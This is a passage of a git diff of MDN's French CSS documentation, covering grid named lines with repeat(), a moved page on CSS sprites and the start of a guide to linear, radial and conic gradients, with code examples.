Définir des lignes implicites à l'aide de zones nommées

- -

Nous avons vu comment des lignes nommées permettaient de créer des zones nommées. Cela fonctionne également dans l'autre sens. Les zones nommées créent aussi des lignes nommées qui peuvent ensuite être utilisées pour placer les objets. Si on reprend l'exemple utilisé dans le guide sur les zones nommées, on peut utiliser les lignes créées implicitement pour voir comment cela fonctionne.

- -

Dans cet exemple, on ajoute un élément div supplémentaire et on lui ajoute la classe overlay. On déclare des zones nommées à l'aide de grid-area puis on indique la disposition via la propriété grid-template-areas. Les noms utilisés pour les zones sont :

- -
    -
  • hd
    • -
  • ft
    • -
  • main
    • -
  • sd
    • -
- -

Cela crée implicitement les lignes et colonnes suivantes :

- -
    -
  • hd-start
    • -
  • hd-end
    • -
  • sd-start
    • -
  • sd-end
    • -
  • main-start
    • -
  • main-end
    • -
  • ft-start
    • -
  • ft-end
    • -
- -

Dans l'image qui suit, on peut voir l'emplacement de ces lignes. Certaines lignes peuvent avoir deux noms (par exemple, sd-end et main-start font référence à la même ligne verticale).

- -

An image showing the implicit line names created by our grid areas.

- -

On peut positionner overlay grâce à ces lignes implicites, de la même façon qu'on aurait positionner un objet avec des lignes créées explicitement :

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(9, 1fr);
-  grid-auto-rows: minmax(100px, auto);
-  grid-template-areas:
-    "hd hd hd hd   hd   hd   hd   hd   hd"
-    "sd sd sd main main main main main main"
-    "ft ft ft ft   ft   ft   ft   ft   ft";
-}
-.header {
-  grid-area: hd;
-}
-.footer {
-  grid-area: ft;
-}
-.content {
-  grid-area: main;
-}
-.sidebar {
-  grid-area: sd;
-}
-.wrapper > div.overlay {
-  z-index: 10;
-  grid-column: main-start / main-end;
-  grid-row: hd-start / ft-end;
-  border: 4px solid rgb(92,148,13);
-  background-color: rgba(92,148,13,.4);
-  color: rgb(92,148,13);
-  font-size: 150%;
-}
-
- -
<div class="wrapper">
-  <div class="header">En-tête</div>
-  <div class="sidebar">Barre latérale</div>
-  <div class="content">Contenu</div>
-  <div class="footer">Pied de page</div>
-  <div class="overlay">Masque</div>
-</div>
-
- -

{{EmbedLiveSample('implicit_lines_from_area', '500', '330')}}

-
- -

Grâce à tout ça, on voit qu'on peut créer des lignes à partir de zones nommées et créer des zones à partir de lignes nommées. Aussi, mieux vaut prendre le temps de réfléchir aux noms utilisés lorsqu'on définit un grille. En effet, plus les noms utilisés seront clairs, plus la maintenance et le travail d'équipe seront simplifiés.

- -

Utiliser plusieurs lignes avec le même nom : repeat()

- -

Si vous souhaitez que chaque ligne ait un nom différent, il faudra alors définir la piste de façon détaillée et non utiliser la syntaxe avec repeat() car il faut préciser le nom de la ligne entre crochets lorsqu'on définit les pistes. Si vous utilisez la syntaxe avec repeat(), vous obtiendrez plusieurs lignes avec le même nom… ce qui peut également être utile.

- -

Dans l'exemple qui suit, nous allons créer une grille avec douze colonnes de même largeur. Avant de définir la taille d'une piste pour la colonne (1fr), on définit un nom : [col-start]. Cela signifie qu'on aura une grille avec 12 colonnes, toutes intitulées col-start et qui mesureront chacune 1fr de large.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(12, [col-start] 1fr);
-}
- -

Une fois la grille créée, on peut y placer les objets. On a alors plusieurs lignes avec le nom col-start et si on place un objet après la ligne col-start, la grille utilisera la première ligne intitulée col-start (dans notre cas, c'est la ligne la plus à gauche). Pour indiquer une autre ligne, on utilisera le nom, suivi du numéro de cette ligne. Ainsi, pour placer un objet à partir de la première ligne jusqu'à la cinquième, on pourra utiliser :

- -
.item1 {
-  grid-column: col-start / col-start 5
-}
-
- -

On peut également utiliser le mot-clé span. Avec la règle suivante, le deuxième objet sera placé à partir de la septième ligne et occupera 3 lignes :

- -
.item2 {
-  grid-column: col-start 7 / span 3;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Je vais de col-start 1 à col-start 5</div>
-  <div class="item2">Je vais de col-start 7 et je m'étends sur 3 lignes</div>
-</div>
- -

{{EmbedLiveSample('multiple_lines_same_name', '500', '330')}}

-
- -

Si vous observez cette disposition grâce à l'outil de mise en évidence des grilles dans Firefox, vous verrez les différentes lignes et le placement des éléments sur ces lignes :

- -

The 12 column grid with items placed. The Grid Highlighter shows the position of the lines.

- -

La syntaxe repeat() permet également d'utiliser une liste de plusieurs pistes et pas uniquement une seule piste. Dans la règle qui suit, on crée une grille composée de huit pistes qui commence par une colonne plus étroite (1fr), intitulée col1-start, et qui est suivie par une colonne plus large (3fr), intitulée col2-start.

- -
.wrapper {
-  grid-template-columns: repeat(4, [col1-start] 1fr [col2-start] 3fr);
-}
-
- -

Si on utilise repeat() et qu'on place deux lignes l'une à la suite de l'autre, ces lignes seront fusionnées et on aura le même résultat que si on avait donné plusieurs noms à un même ligne. La règle suivante permet de créer quatre pistes dont la largeur est 1fr, chacune avec un début et une fin.

- -
.wrapper {
-  grid-template-columns: repeat(4, [col-start] 1fr [col-end] );
-}
-
- -

Si on écrivait la même définition sans utiliser repeat(), on aurait la forme suivante :

- -
.wrapper {
-  grid-template-columns: [col-start] 1fr [col-end col-start] 1fr [col-end col-start] 1fr  [col-end col-start] 1fr [col-end];
-}
-
- -

Si vous utilisez une liste de pistes, vous pouvez utiliser le mot-clé span pour indiquer le nombre de lignes à occuper mais aussi pour indiquer le nombre de lignes à occuper qui ont un nom donné.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(6, [col1-start] 1fr [col2-start] 3fr);
-}
-.item1 {
-  grid-column: col1-start / col2-start 2
-}
-.item2 {
-  grid-row: 2;
-  grid-column: col1-start 2 / span 2 col1-start;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Je suis placé à partir de la première col1-start et jusqu'à la deuxième col2-start.</div>
-  <div class="item2">Je suis placé à partir de la deuxième col1-start et je m'étend sur deux lignes nommées col1-start</div>
-</div>
-
- -

{{EmbedLiveSample('span_line_number', '500', '330')}}

-
- -

Avec ces trois derniers articles, nous avons vu de nombreuses façons qui permettaient de placer des objets sur une grille. Cela peut sembler un peu trop inutilement compliqué mais il faut garder à l'esprit que toutes ne sont pas obligatoirement nécessaires. Dans la pratique, utiliser des zones nommés pour des dispositions simples permet d'avoir une représentation visuelle simple et de déplacer les différents objets facilement sur la grille.

- -

Si on travaille avec une disposition sur plusieurs colonnes (comme celles utilisées dans ces derniers exemples), les lignes nommées feront parfaitement l'affaire. Si vous prenez par exemple des frameworks tels que Foundation ou Bootstrap, ceux-ci fonctionnent sur une grille avec 12 colonnes. Le framework importe ensuite le code nécessaire aux différents calculs afin de s'assurer que l'ensemble des colonnes fasse 100%. En utilisant une grille CSS, le seule code nécessaire pour obtenir un tel framework se résume à :

- -
-
.wrapper {
-  display: grid;
-  grid-gap: 10px;
-  grid-template-columns: repeat(12, [col-start] 1fr);
-}
-
- -

On peut alors utiliser ce modèle pour mettre en forme notre page. Par exemple, on peut créer une disposition avec trois colonnes, un en-tête et un pied de page avec les règles suivantes :

- - - -
<div class="wrapper">
-  <header class="main-header">Je suis l'en-tête</header>
-   <aside class="side1">Je suis la barre latérale 1</aside>
-   <article class="content">Je suis l'article</article>
-   <aside class="side2">Je suis la barre latérale 2</aside>
-   <footer class="main-footer">Je suis le pied de page</footer>
-</div>
-
- -

Pour placer ces éléments, on utilise la grille de la façon suivante :

- -
.main-header,
-.main-footer  {
-  grid-column: col-start / span 12;
-}
-.side1 {
-  grid-column: col-start / span 3;
-  grid-row: 2;
-}
-.content {
-  grid-column: col-start 4 / span 6;
-  grid-row: 2;
-}
-.side2 {
-  grid-column: col-start 10 / span 3;
-  grid-row: 2;
-}
-
- -

{{EmbedLiveSample('three_column', '500', '330')}}

- -

Là encore, l'outil de mise en évidence de la grille permet de voir comment le placement fonctionne :

- -

The layout with the grid highlighted.

-
- -

Et voilà tout ce dont on a besoin. Aucun calcul compliqué, la grille a automatiquement retiré la gouttière de 10 pixels avant d'affecter l'espace aux pistes qui mesurent 1fr. Lorsque vous construirez vos propres disposition, vous serez plus à l'aise avec la syntaxe et utiliserez les techniques qui sont les plus pertinentes pour vos projets. Essayez de construire cetaines dispositions classiques avec des différentes méthodes, vous deviendrez plus efficaces pour manipuler les grilles CSS. Dans le prochain guide, nous verrons comment la grille peut placer des objets automatiquement, sans même avoir besoin d'utiliser les propriétés de placement !

- -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Définir_des_zones_sur_une_grille", "Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS","Web/CSS/CSS_Grid_Layout")}}

diff --git a/files/fr/web/css/css_images/implementing_image_sprites_in_css/index.html b/files/fr/web/css/css_images/implementing_image_sprites_in_css/index.html new file mode 100644 index 0000000000..a141a8a11e --- /dev/null +++ b/files/fr/web/css/css_images/implementing_image_sprites_in_css/index.html @@ -0,0 +1,51 @@ +--- +title: Les sprites CSS +slug: Web/CSS/CSS_Images/Sprites_CSS +tags: + - Avancé + - CSS + - Guide +translation_of: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS +--- +
{{CSSRef}}
+ +

Les sprites sont utilisées dans de nombreuses applications web où de multiples images sont utilisées. Au lieu d'avoir une image par fichier, on économise de la bande passante et de la mémoire en les envoyant toute dans le même fichier, ainsi, le nombre de requêtes HTTP diminue. On utilise alors background-position pour choisir l'image qu'on souhaite utiliser.

+ +
+

Note : Avec HTTP/2, il peut être plus judicieux d'utiliser de nombreuses « petites » requêtes.

+
+ +

Implémentation

+ +

Supposons qu'une image est affichée pour chaque élement de la classe toolbtn :

+ +
.toolbtn {
+  background: url('myfile.png');
+  display: inline-block;
+  height: 20px;
+  width: 20px;
+}
+ +

Une position peut être ajoutée avec les valeurs x et y après {{cssxref("url()")}} pour décaler l'image de fond ({{cssxref("background")}}). Cela fonctionne aussi avec {{cssxref("background-position")}}. Par exemple :

+ +
#btn1 {
+  background-position: -20px 0px;
+}
+
+#btn2 {
+  background-position: -40px 0px;
+}
+ +

L'élément avec l'ID « btn1 » bouge vers la gauche de 20 pixels et l'élément avec l'ID « btn2 » vers la gauche de 40 pixels (en présumant que ces deux éléments aient aussi la classe toolbtn).

+ +

De la même manière, vous pouvez faire un effet de transition au survol :

+ +
#btn:hover {
+  background-position: <pixels shifted right>px <pixels shifted down>px;
+}
+ +

Voir aussi

+ + diff --git a/files/fr/web/css/css_images/sprites_css/index.html b/files/fr/web/css/css_images/sprites_css/index.html deleted file mode 100644 index a141a8a11e..0000000000 --- a/files/fr/web/css/css_images/sprites_css/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Les sprites CSS -slug: Web/CSS/CSS_Images/Sprites_CSS -tags: - - Avancé - - CSS - - Guide -translation_of: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS ---- -
{{CSSRef}}
- -

Les sprites sont utilisées dans de nombreuses applications web où de multiples images sont utilisées. Au lieu d'avoir une image par fichier, on économise de la bande passante et de la mémoire en les envoyant toute dans le même fichier, ainsi, le nombre de requêtes HTTP diminue. On utilise alors background-position pour choisir l'image qu'on souhaite utiliser.

- -
-

Note : Avec HTTP/2, il peut être plus judicieux d'utiliser de nombreuses « petites » requêtes.

-
- -

Implémentation

- -

Supposons qu'une image est affichée pour chaque élement de la classe toolbtn :

- -
.toolbtn {
-  background: url('myfile.png');
-  display: inline-block;
-  height: 20px;
-  width: 20px;
-}
- -

Une position peut être ajoutée avec les valeurs x et y après {{cssxref("url()")}} pour décaler l'image de fond ({{cssxref("background")}}). Cela fonctionne aussi avec {{cssxref("background-position")}}. Par exemple :

- -
#btn1 {
-  background-position: -20px 0px;
-}
-
-#btn2 {
-  background-position: -40px 0px;
-}
- -

L'élément avec l'ID « btn1 » bouge vers la gauche de 20 pixels et l'élément avec l'ID « btn2 » vers la gauche de 40 pixels (en présumant que ces deux éléments aient aussi la classe toolbtn).

- -

De la même manière, vous pouvez faire un effet de transition au survol :

- -
#btn:hover {
-  background-position: <pixels shifted right>px <pixels shifted down>px;
-}
- -

Voir aussi

- - diff --git a/files/fr/web/css/css_images/using_css_gradients/index.html b/files/fr/web/css/css_images/using_css_gradients/index.html new file mode 100644 index 0000000000..94a0fbcb67 --- /dev/null +++ b/files/fr/web/css/css_images/using_css_gradients/index.html @@ -0,0 +1,747 @@ +--- +title: Utilisation de dégradés CSS +slug: Web/CSS/Utilisation_de_dégradés_CSS +tags: + - Avancé + - CSS + - Guide +translation_of: Web/CSS/CSS_Images/Using_CSS_gradients +--- +
{{CSSRef}}
+ +

Les dégradés CSS sont représentés par le type de donnée {{cssxref("<gradient>")}} qui est un sous-ensemble du type {{cssxref("<image>")}}. L'utilisation de dégradés CSS permet d'afficher des transitions douces entre deux couleurs ou plus. Il existe trois sortes de degradés : les dégradés linéaires (cf. {{cssxref("linear-gradient")}}, les dégradés radiaux (cf. {{cssxref("radial-gradient")}}) et les dégradés coniques (cf. {{cssxref("conic-gradient")}}).

+ +

Les dégradés peuvent être répétés avec {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}} et {{cssxref("repeating-conic-gradient")}}.

+ +

Les dégradés peuvent être utilisés à chaque endroit où on peut utiliser une image (par exemple les arrière-plans). En évitant d'utiliser des images pour ces effets, le temps de téléchargement et la bande passante utilisée sont réduits. En outre, comme le dégradé est généré par le navigateur, les objets concernés se comporteront mieux en cas de zoom et votre mise en page peut être ajustée de manière plus flexible.

+ +

Dans cet article, nous verrons d'abord les dégradés linéaires et détaillerons les fonctionnalités associées avant de passer aux dégradés radiaux, coniques et à leurs formes répétées.

+ +

Dégradés linéaires

+ +

Pour créer un dégradé linéaire, définissez un point de départ et une direction (sous la forme d'un angle) selon laquelle l'effet de dégradé sera appliqué.

+ +

Dégradés linéaires simples

+ +

Voici un dégradé linéaire qui commence au centre (horizontalement) et en haut (verticalement), du bleu vers le blanc.

+ +

CSS

+ +
.linear-gradient {
+  background: linear-gradient(blue, white);
+}
+
+div {
+  width: 120px;
+  height: 120px;
+}
+ +

HTML

+ +
<div class="linear-gradient"></div>
+ +

Résultat

+ +

{{EmbedLiveSample("Dégradés_linéaires_simples",120,120)}}

+ +

Appliquer un dégradé de gauche à droite

+ +

CSS

+ +
.linear-gradient {
+  background: linear-gradient(to right, blue, white);
+}
+
+div {
+  width: 120px;
+  height: 120px;
+}
+ +

HTML

+ +
<div class="linear-gradient"></div>
+
+ +

Résultat

+ +

{{EmbedLiveSample("Appliquer_un_dégradé_de_gauche_à_droite",120,120)}}

+ +

Appliquer un dégradé en diagonale

+ +

CSS

+ +
.linear-gradient {
+  background: linear-gradient(to bottom right, blue, white);
+}
+
+div {
+  width: 200px;
+  height: 100px;
+}
+ +

HTML

+ +
<div class="linear-gradient"></div>
+
+ +

Résultat

+ +

{{EmbedLiveSample("Appliquer_un_dégradé_en_diagonale",200,100)}}

+ +

Utilisation d’angles

+ +

Si aucun angle n'est spécifié, il sera déterminé automatiquement à partir de la position de départ. Si vous désirez un meilleur contrôle sur la direction du dégradé, vous pouvez définir cet angle précisément.

+ +

CSS

+ +
.linear-gradient {
+  background: linear-gradient(70deg, blue, pink);
+}
+
+div {
+  width: 120px;
+  height: 120px;
+}
+ +

HTML

+ +
<div class="linear-gradient"></div>
+
+ +

Résultat

+ +

{{EmbedLiveSample("Utilisation_d’angles",120,120)}}

+ +

L'angle est spécifié entre une ligne verticale et la ligne de dégradé, dans le sens inverse des aiguilles d'une montre. Autrement dit, 0deg crée un dégradé vertical de bas en haut, tandis que 90deg génère un dégradé horizontal de la gauche vers la droite :

+ +

linear_redangles.png

+ +
background: linear-gradient(<angle>, red, white);
+ +

Créer des effets et manipuler les couleurs

+ +

Utiliser plus de deux couleurs

+ +

Les dégradés CSS ne sont pas limités à deux couleurs, il est possible d'en utiliser autant que souhaité :

+ +

CSS

+ +
.linear-gradient {
+  background: linear-gradient(red, yellow, blue, orange);
+}
+
+div {
+  width: 120px;
+  height: 120px;
+}
+ +

HTML

+ +
<div class="linear-gradient"></div>
+
+ +

Résultat

+ +

{{EmbedLiveSample("Utiliser_plus_de_deux_couleurs",120,120)}}

+ +

Arrêts de couleurs

+ +

Les arrêts de couleurs sont des points sur la ligne de dégradé qui doivent avoir une couleur précise. Leur emplacement peut être spécifié sous la forme d'un pourcentage de la longueur de la ligne, ou d'une longueur absolue. Vous pouvez en spécifier autant que vous voulez pour obtenir l'effet désiré. Si vous spécifiez un pourcentage, 0% indique le point de départ, et 100% le point d'arrivée ; il est cependant possible d'utiliser des valeurs en dehors de cet intervalle si nécessaire pour obtenir l'effet désiré.

+ +

CSS

+ +
.linear-gradient {
+  background: linear-gradient(to left, lime, lime 28px, red 77%, cyan);
+}
+
+div {
+  width: 120px;
+  height: 120px;
+}
+ +

HTML

+ +
<div class="linear-gradient"></div>
+
+ +

Résultat

+ +

{{EmbedLiveSample("Arrêts_de_couleur",120,120)}}

+ +

Notez que la première et la dernière couleur n'indiquent pas d'emplacement ; en conséquence les valeurs 0% et 100% sont assignées automatiquement. La couleur centrale indique un emplacement à 80%, ce qui la place proche du bas.

+ +

Utiliser des indications de couleurs

+ +

Par défaut, les dégradés passent linéairement d'une couleur à une autre. On peut également utiliser une indication afin de définir l'emplacement où la couleur médiane sera atteinte. Dans l'exemple qui suit, plutôt que d'attendre la moitié de la transition au milieu, on la place à 10% de l'axe.

+ +

CSS

+ +
div {
+  width:120px;
+  height: 120px;
+  float: left;
+  margin-right: 10px;
+}
+
+.color-hint {
+  background: linear-gradient(blue, 10%, pink);
+}
+
+.simple-linear {
+  background: linear-gradient(blue, pink);
+}
+ +

HTML

+ +
<div class="color-hint"></div>
+<div class="simple-linear"></div>
+
+ +

Résultat

+ +

{{EmbedLiveSample("Utiliser_des_indications_de_couleurs",120,120)}}

+ +

Transparence et dégradés

+ +

Les gradients gèrent la transparence. Vous pouvez l'utiliser, par exemple, en superposant plusieurs fonds pour créer des effets sur les images. Par exemple :

+ +

CSS

+ +
.linear-gradient {
+  background: linear-gradient(to right, transparent, mistyrose),
+    url("https://mdn.mozillademos.org/files/15525/critters.png");
+}
+
+div {
+  width: 300px;
+  height: 150px;
+}
+ +

HTML

+ +
<div class="linear-gradient"></div>
+
+ +

Résultat

+ +

{{EmbedLiveSample("Transparence_et_dégradés",300,150)}}

+ +

Les fonds sont superposés avec le premier fond spécifié au dessus, et chaque fond supplémentaire par dessous.

+ +

Créer des lignes franches

+ +

Pour créer une ligne franche entre deux couleurs et avoir deux bandes plutôt qu'un dégradé progressif, on peut définir deux points d'arrêt de couleur au même endroit. Dans l'exemple suivant, on a deux couleurs pour un même emplacement de point d'arrêt situé à 50%:

+ + + +
.striped {
+   background: linear-gradient(to bottom left, cyan 50%, palegoldenrod 50%);
+}
+ +

{{EmbedLiveSample('Créer_des_lignes_franches', 120, 120)}}

+ +

Créer des bandes de couleur

+ +

Pour inclure une bande d'une couleur donnée, sans transition au sein du dégradé, on utilisera deux points d'arrêt successif avec la même couleur. Ainsi, la couleur sera atteinte au premier point d'arrêt puis sera conservée jusqu'au suivant.

+ + + +
.multiposition-stops {
+   background: linear-gradient(to left,
+       lime 20%, red 30%, red 45%, cyan 55%, cyan 70%, yellow 80% );
+   background: linear-gradient(to left,
+       lime 20%, red 30% 45%, cyan 55% 70%, yellow 80% );
+}
+.multiposition-stop2 {
+   background: linear-gradient(to left,
+      lime 25%, red 25%, red 50%, cyan 50%, cyan 75%, yellow 75% );
+   background: linear-gradient(to left,
+      lime 25%, red 25% 50%, cyan 50% 75%, yellow 75% );
+}
+
+ +

{{EmbedLiveSample('Créer_des_bandes_de_couleur', 120, 120)}}

+ +

Dans le premier exemple ci-avant, le bleu vert commence au début puis progresse jusqu'à 20% avant de transitionner vers le rouge pendant les 10% qui suivent. Le rouge reste vif entre 30% et 45% avant de transitionner vers un cyan pendant 15% etc.

+ +

Dans le deuxième exemple, le deuxième point d'arrêt pour chaque couleur est situé au même emplacement que le premier point d'arrêt pour la couleur suivante et on obtient donc des bandes successives.

+ +

Contrôler la progression du dégradé

+ +

Par défaut, un dégradé progresse linéairement entre les deux couleurs et la couleur médiane est atteinte à la moitié du parcours. Toutefois, si on veut atteindre cette couleur médiane plus tôt ou plus tard, on peut fournir une indication permettant de définir l'emplacement du milieu de la transition. Dans l'exemple qui suit, la couleur est à la moitié de la transition entre le vert et le cyan à 20% du dégradé (et non à 50%). Le deuxième exemple ne contient pas de telle indication et la transition s'effectue linéairement. Vous pouvez ainsi observer l'impact d'une telle indication.

+ + + +
.colorhint-gradient {
+  background: linear-gradient(to top, black, 20%, cyan);
+}
+.regular-progression {
+  background: linear-gradient(to top, black, cyan);
+}
+
+ +

{{EmbedLiveSample("Contrôler_la_progression_du_dégradé", 120, 120)}}

+ +

Empilement de dégradés

+ +

Il est possible d' « empiler » différents dégradés. Il suffit que les dégradés sur les couches supérieures ne soient pas complètement opaques pour qu'on puisse voir ceux des couches inférieures.

+ +

CSS

+ +
.linear-gradient {
+  background:
+    linear-gradient(217deg, rgba(255,0,0,.8), rgba(255,0,0,0) 70.71%),
+    linear-gradient(127deg, rgba(0,255,0,.8), rgba(0,255,0,0) 70.71%),
+    linear-gradient(336deg, rgba(0,0,255,.8), rgba(0,0,255,0) 70.71%);
+}
+
+div {
+  width: 100px;
+  height: 100px;
+}
+ +

HTML

+ +
<div class="linear-gradient"></div>
+
+ +

Résultat

+ +

{{EmbedLiveSample("Empilement_de_dégradés")}}

+ +

Dégradés radiaux

+ +

Les dégradés radiaux sont similaire aux dégradés linéaires mais permettent d'obtenir un effet qui rayonne à partir d'un point. Il est possible de créer des dégradés circulaires ou elliptiques.

+ +

Un dégradé radial simple

+ +
+

Note : Dans les exemples suivants, nous continuons d'utiliser le même {{HTMLElement("div")}} et, pour ne pas surcharger la lecture, n'afficherons plus que la règle CSS spécifique au dégradé.

+
+ +

De la même façon qu'avec les dégradés linéaires, il suffit de deux couleurs pour créer un dégradé radial.

+ + + +
.simple-radial {
+  background: radial-gradient(red, blue);
+}
+
+ +

{{EmbedLiveSample('Un_dégradé_radial_simple', 120, 120)}}

+ +

Positionner les points d’arrêt

+ +

À nouveau, comme pour les dégradés linéaires, il est possible de placer des arrêts de couleur en précisant un pourcentage ou une distance.

+ + + +
.radial-gradient {
+  background: radial-gradient(red 10px, yellow 30%, #1e90ff 50%);
+}
+
+ +

{{EmbedLiveSample("Positionner_les_points_d’arrêt", 120, 120)}}

+ +

Positionner le centre du dégradé

+ +

La position du centre du dégradé peut être définie avec des mots-clés, des pourcetages ou des longueurs. Deux valeurs permettent de placer le centre sur les deux axes. Si une seule valeur est fournie, elle sera utilisée pour les deux axes.

+ + + +
.radial-gradient {
+  background: radial-gradient(at 0% 30%, red 10px, yellow 30%, #1e90ff 50%);
+}
+
+ +

{{EmbedLiveSample('Utiliser_closest-side_pour_les_ellipses', 240, 100)}}

+ +

Dimensionner les dégradés radiaux

+ +

À la différence des dégradés linéaires, il est possible de définir la taille d'un dégradé radial.

+ +

Utiliser closest-side pour les ellipses

+ +

Dans l'exemple qui suit, on utilise la valeur closest-side pour la taille. Cela signifie que la taille du dégradé sera définie par la distance entre le point central de départ et le côté le plus proche de la boîte englobante.

+ + + +
.radial-ellipse-side {
+  background: radial-gradient(ellipse closest-side,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+
+ +

{{EmbedLiveSample('Utiliser_closest-side_pour_les_ellipses', 240, 100)}}

+ +

Utiliser farthest-corner pour les ellipses

+ +

Cet exemple ressemble fortement au précédent mais on utilise ici farthest-corner qui crée un dégradé dont la distance est celle entre le point de départ central et le côté le plus éloigné de la boîte englobante.

+ + + +
.radial-ellipse-far {
+  background: radial-gradient(ellipse farthest-corner,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+
+ +

{{EmbedLiveSample('Utiliser_farthest-corner_pour_les_ellipses', 240, 100)}}

+ +

Utiliser closest-side pour les cercles

+ +

Pour cet exemple, on utilise closest-side qui permet de créer un cercle dont le rayon est la distance entre le point de départ central et le côté le plus proche de la boîte englobante. Ici, le rayon du cercle est donc la moitié de la hauteur de la boîte car les bords haut et bas sont équidistants du point de départ et plus proches que les côtés gauche et droit.

+ + + +
.radial-circle-close {
+  background: radial-gradient(circle closest-side,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+
+ +

{{EmbedLiveSample('Utiliser_closest-side_pour_les_cercles', 240, 120)}}

+ +

Empiler des dégradés radiaux

+ +

À l'instar des dégradés linéaires, on peut empiler des dégradés radiaux. Le premier dégradé indiqué sera celui sur la couche la plus haute et le dernier sera celui sur la couche la plus basse.

+ + + +
.stacked-radial {
+  background:
+      radial-gradient(circle at 50% 0,
+        rgba(255,0,0,.5),
+        rgba(255,0,0,0) 70.71%),
+      radial-gradient(circle at 6.7% 75%,
+        rgba(0,0,255,.5),
+        rgba(0,0,255,0) 70.71%),
+      radial-gradient(circle at 93.3% 75%,
+        rgba(0,255,0,.5),
+        rgba(0,255,0,0) 70.71%) beige;
+  border-radius: 50%;
+}
+
+ +

{{EmbedLiveSample('Empiler_des_dégradés_radiaux', 200, 200)}}

+ +

Dégradés coniques

+ +

La fonction conic-gradient() permet de créer une image composée d'un dégradé de couleurs tournant autour d'un point (plutôt qu'une progression radiale). On pourra ainsi utiliser des dégradés coniques pour créer des camemberts ou des éventails de couleurs.

+ +

La syntaxe de conic-gradient() est semblable à celle de radial-gradient() mais les arrêts de couleur seront placés le long d'un arc plutôt que le long de la ligne émise depuis le centre. Les arrêts de couleur seront exprimés en pourcentages ou en degrés, ils ne pourront pas être exprimés sous forme de longueurs absolues.

+ +

Pour un dégradé radial, la transition entre les couleurs forme une ellipse qui progresse vers l'extérieur dans toutes les directions. Un dégradé conique verra la transition progresser le long de l'arc autour du cercle, dans le sens horaire. À l'instar des dégradés radiaux, il est possible de positionner le centre du dégradé et à l'instar des dégradés linéaires, on peut modifier l'angle du dégradé.

+ +
+

Un dégradé conique simple

+ +

Comme pour les dégradés linéaires et radiaux, il suffit de deux couleurs pour créer un dégradé conique. Par défaut, le centre du dégradé sera situé au centre (point 50% 50%) et le début du dégradé commencera vers le haut :

+ + + +
.simple-conic {
+  background: conic-gradient(red, blue);
+}
+
+ +

{{EmbedLiveSample('Un_dégradé_conique_simple', 120, 120)}}

+
+ +
+

Positionner le centre

+ +

À l'instar des dégradés radiaux, on peut placer le centre d'un dégradé conique à l'aide de mots-clés, de valeurs (longueurs ou pourcentages) avec le mot-clé at.

+ + + +
.conic-gradient {
+  background: conic-gradient(at 0% 30%, red 10%, yellow 30%, #1e90ff 50%);
+}
+
+ +

{{EmbedLiveSample('Positionner_le_centre', 120, 120)}}

+
+ +
+

Modifier l’angle

+ + + +
.conic-gradient {
+  background: conic-gradient(from 45deg, red, orange, yellow, green, blue, purple);
+}
+
+ +

{{EmbedLiveSample("Modifier_l’angle", 120, 120)}}

+
+ +

Répéter des dégradés

+ +

Les propriétés {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}} et {{cssxref("conic-gradient")}} ne permettent pas automatiquement de répéter les arrêts de couleur. Toutefois, les fonctions {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}} et {{cssxref("repeating-conic-gradient")}} offrent cette fonctionnalité.

+ +

La taille de la portion (ligne ou arc) répétée est donnée par la longueur (ou l'arc) entre le premier arrêt de couleur et le dernier arrêt de couleur. Si on n'indique pas de coordonnées pour le premier et le dernier arrêts, ceux-ci prendront respectivement 0 et 100%. Aussi, le motif unitaire couvrira l'ensemble du dégradé et il n'y aura pas de répétition. Il faut donc indiquer au moins un des deux arrêts (entre le premier et le dernier) pour créer une répétition.

+ +

Répéter un dégradé linéaire

+ +

Dans cet exemple, on utilise la fonction {{cssxref("repeating-linear-gradient")}} afin de créer un dégradé linéaire qui se répète le long d'une ligne. Les couleurs forment un cycle lorsque le motif se répète.

+ + + +
.repeating-linear {
+  background: repeating-linear-gradient(-45deg, red, red 5px, blue 5px, blue 10px);
+}
+
+ +

{{EmbedLiveSample('Répéter_un_dégradé_linéaire', 120, 120)}}

+ +

Répéter plusieurs dégradés linéaires

+ + + +
.multi-repeating-linear {
+  background:
+      repeating-linear-gradient(190deg, rgba(255, 0, 0, 0.5) 40px,
+        rgba(255, 153, 0, 0.5) 80px, rgba(255, 255, 0, 0.5) 120px,
+        rgba(0, 255, 0, 0.5) 160px, rgba(0, 0, 255, 0.5) 200px,
+        rgba(75, 0, 130, 0.5) 240px, rgba(238, 130, 238, 0.5) 280px,
+        rgba(255, 0, 0, 0.5) 300px),
+      repeating-linear-gradient(-190deg, rgba(255, 0, 0, 0.5) 30px,
+        rgba(255, 153, 0, 0.5) 60px, rgba(255, 255, 0, 0.5) 90px,
+        rgba(0, 255, 0, 0.5) 120px, rgba(0, 0, 255, 0.5) 150px,
+        rgba(75, 0, 130, 0.5) 180px, rgba(238, 130, 238, 0.5) 210px,
+        rgba(255, 0, 0, 0.5) 230px),
+      repeating-linear-gradient(23deg, red 50px, orange 100px,
+        yellow 150px, green 200px, blue 250px,
+        indigo 300px, violet 350px, red 370px);
+}
+
+ +

{{EmbedLiveSample('Répéter_plusieurs_dégradés_linéaires', 600, 400)}}

+ +

Créer un tartan

+ + + +
.plaid-gradient {
+  background:
+      repeating-linear-gradient(90deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(0deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
